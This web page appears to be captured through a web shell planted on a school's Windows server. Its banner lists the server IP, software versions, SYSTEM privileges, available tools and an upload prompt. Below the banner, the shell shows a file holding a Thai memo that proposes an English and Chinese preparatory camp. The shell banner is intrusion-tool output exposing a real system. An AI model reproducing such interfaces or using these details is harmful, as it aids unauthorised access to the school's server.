| Server IP : 172.67.187.206 / Your IP : 172.71.28.156 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Inetpub/www/myschool/krabyai/data/tkk1text/ |
Upload File : |
<p> <span style="font-size: 16px;"><span style="font-family: THSarabunNew;"> เนื่อง<span lang="TH" style="text-align: justify; text-indent: 36pt;">ด้วยโรงเรียนกรับใหญ่ว่องกุศลกิจพิทยาคม มีนโยบายในการพัฒนาคุณภาพการจัดการศึกษาให้สอดคล้องกับความเปลี่ยนแปลงดังกล่าว โดยมีแผนเปิดห้องเรียนพิเศษ/ห้องเรียนโครงการสองภาษา (</span><span style="text-align: justify; text-indent: 36pt;">English & Chinese Program<span lang="TH">) เพื่อส่งเสริมศักยภาพด้านภาษา การคิดวิเคราะห์ และทักษะการเรียนรู้ของผู้เรียน อย่างไรก็ตาม ผู้เรียนที่เข้าศึกษาในห้องเรียนพิเศษจำเป็นต้องมีความพร้อมทั้งด้านพื้นฐานภาษา ทักษะการเรียนรู้ และทัศนคติที่ดีต่อการเรียนในรูปแบบเข้มข้น</span></span><br /> <span lang="TH" style="line-height: 24.533335px;">ดังนั้นกลุ่มสาระการเรียนรู้ภาษาต่างประเทศ จึงขออนุญาตจัดกิจกรรมค่าย </span><span style="line-height: 24.533335px;">Smart Start <span lang="TH">: </span>English & Chinese Camp <span lang="TH">เตรียมความพร้อมสองภาษาสู่ห้องเรียนพิเศษขึ้นในวันที่ ๗ และ ๑๔ กุมภาพันธ์ พ.ศ.๒๕๖๙ ตั้งแต่เวลา ๘.๓๐ - ๑๔.๐๐ น. เพื่อเป็นการเสริมสร้างพื้นฐานทักษะภาษาอังกฤษและภาษาจีนผ่านกิจกรรมการเรียนรู้ที่หลากหลาย เน้นการฝึกทักษะการฟัง พูด อ่าน และเขียน ควบคู่กับการเรียนรู้เชิงรุก (</span>Active Learning<span lang="TH">) และการทำกิจกรรมกลุ่ม เพื่อสร้างความมั่นใจ ความกล้าแสดงออก และทัศนคติที่ดีต่อการเรียนรู้ภาษา อีกทั้งยังเป็นการสร้างเครือข่ายทางการศึกษาและเป็นการบริการทางวิชาการให้กับโรงเรียนใกล้เคียง ซึ่งการดำเนินโครงการดังกล่าวจะช่วยให้ผู้เรียนมีความพร้อมก่อนเข้าสู่ห้องเรียนพิเศษ สามารถปรับตัวกับรูปแบบการเรียนการสอนสองภาษาได้อย่างมีประสิทธิภาพ</span></span></span></span></p> <p> จึงเรียนมาเพื่อโปรดพิจารณา</p> <p> </p>